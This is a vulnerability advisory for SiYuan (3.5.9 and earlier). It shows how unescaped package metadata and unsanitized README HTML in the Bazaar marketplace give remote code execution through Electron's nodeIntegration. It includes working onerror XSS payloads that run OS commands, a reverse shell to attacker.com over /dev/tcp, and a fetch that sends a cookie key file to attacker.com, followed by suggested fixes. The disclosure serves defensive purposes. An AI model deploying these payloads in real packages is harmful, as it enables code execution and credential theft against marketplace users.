Remote Code Execution via Malicious Bazaar Package — Marketplace XSS

Summary

SiYuan's Bazaar (community marketplace) renders plugin/theme/template metadata and README content without sanitization. A malicious package author can achieve RCE on any user who browses the Bazaar by:

1. Package metadata XSS (zero-click): Package displayName and description fields are injected directly into HTML via template literals without escaping. Just loading the Bazaar page triggers execution.
2. README XSS (one-click): The renderREADME function uses lute.New() without SetSanitize(true), so raw HTML in the README passes through to innerHTML unsanitized.

Both vectors execute in Electron's renderer with nodeIntegration: true and contextIsolation: false, giving full OS command execution.

Affected Component

• Metadata rendering: app/src/config/bazaar.ts:275-277
• README rendering (backend): kernel/bazaar/package.go:635-645 (renderREADME)
• README rendering (frontend): app/src/config/bazaar.ts:607 (innerHTML)
• Electron config: app/electron/main.js:422-426 (nodeIntegration: true)
• Version: SiYuan <= 3.5.9

Vulnerable Code

Vector 1: Package metadata — no HTML escaping (bazaar.ts:275-277)

// Package name injected directly into HTML template — NO escaping
${item.preferredName}${item.preferredName !== item.name
    ? ` <span class="ft__on-surface ft__smaller">${item.name}</span>` : ""}

// Package description injected directly — NO escaping
<div class="b3-card__desc" title="${escapeAttr(item.preferredDesc) || ""}">
    ${item.preferredDesc || ""}  <!-- UNESCAPED HTML -->
</div>

Note: The title attribute uses escapeAttr(), but the actual text content does not — inconsistent escaping.

Vector 2: README rendering — no Lute sanitization (package.go:635-645)

func renderREADME(repoURL string, mdData []byte) (ret string, err error) {
    luteEngine := lute.New()  // Fresh Lute instance — SetSanitize NOT called
    luteEngine.SetSoftBreak2HardBreak(false)
    luteEngine.SetCodeSyntaxHighlight(false)
    linkBase := "https://cdn.jsdelivr.net/gh/" + ...
    luteEngine.SetLinkBase(linkBase)
    ret = luteEngine.Md2HTML(string(mdData))  // Raw HTML in markdown preserved
    return
}

Compare with the SiYuan note renderer in kernel/util/lute.go:81:

luteEngine.SetSanitize(true)  // Notes ARE sanitized — but README is NOT

Frontend innerHTML injection (bazaar.ts:607)

fetchPost("/api/bazaar/getBazaarPackageREADME", {...}, response => {
    mdElement.innerHTML = response.data.html;  // Unsanitized HTML from README
});

Proof of Concept

Vector 1: Malicious package manifest (zero-click RCE)

A malicious plugin.json (or theme.json, template.json):

{
    "name": "helpful-plugin",
    "displayName": {
        "default": "Helpful Plugin<img src=x onerror=\"require('child_process').exec('calc.exe')\">"
    },
    "description": {
        "default": "A helpful plugin<img src=x onerror=\"require('child_process').exec('id>/tmp/pwned')\">"
    },
    "version": "1.0.0"
}

When any user opens the Bazaar page and this package is in the listing, the onerror handler fires automatically (since src=x fails to load), executing arbitrary OS commands.

Vector 2: Malicious README.md (one-click RCE)

# Helpful Plugin

This plugin does helpful things.

<img src=x onerror="require('child_process').exec('calc.exe')">

## Installation

Follow the usual steps.

When a user clicks on the package to view its README, the raw HTML is rendered via innerHTML without sanitization, executing the onerror handler.

Reverse shell via README

# Cool Theme

<img src=x onerror="require('child_process').exec('bash -c \"bash -i >& /dev/tcp/attacker.com/4444 0>&1\"')">

Data exfiltration via package name

{
    "displayName": {
        "default": "<img src=x onerror=\"fetch('https://attacker.com/exfil?token='+require('fs').readFileSync(require('path').join(require('os').homedir(),'.config/siyuan/cookie.key'),'utf8'))\">"
    }
}

Attack Scenario

1. Attacker creates a GitHub repository with a plugin/theme/template
2. Attacker submits it to the SiYuan Bazaar (community marketplace)
3. Package manifest contains XSS payload in displayName or description
4. Zero-click: When ANY user browses the Bazaar, the package listing renders the malicious name/description → JavaScript executes → RCE
5. One-click: If the package README also contains raw HTML, clicking to view details triggers additional payloads

The attacker doesn't need to trick the user into installing anything. Simply browsing the marketplace is enough.

Impact

• Severity: CRITICAL (CVSS 9.6)
• Type: CWE-79 (Improper Neutralization of Input During Web Page Generation)
• Full remote code execution via Electron's nodeIntegration: true
• Zero-click for metadata XSS — triggers on page load
• Supply-chain attack vector targeting all Bazaar users
• Can steal API tokens, session cookies, SSH keys, arbitrary files
• Can install persistence, backdoors, or ransomware
• Affects all SiYuan desktop users who browse the Bazaar

Suggested Fix

1. Escape package metadata in template rendering (bazaar.ts)

// Use a proper HTML escape function
function escapeHtml(str: string): string {
    return str.replace(/&/g, '&amp;').replace(/</g, '&lt;')
              .replace(/>/g, '&gt;').replace(/"/g, '&quot;');
}

// Apply to all user-controlled metadata
${escapeHtml(item.preferredName)}
<div class="b3-card__desc">${escapeHtml(item.preferredDesc || "")}</div>

2. Enable Lute sanitization for README rendering (package.go)

func renderREADME(repoURL string, mdData []byte) (ret string, err error) {
    luteEngine := lute.New()
    luteEngine.SetSanitize(true)  // ADD THIS
    luteEngine.SetSoftBreak2HardBreak(false)
    luteEngine.SetCodeSyntaxHighlight(false)
    // ...
}

3. Long-term: Harden Electron configuration

webPreferences: {
    nodeIntegration: false,
    contextIsolation: true,
    sandbox: true,
}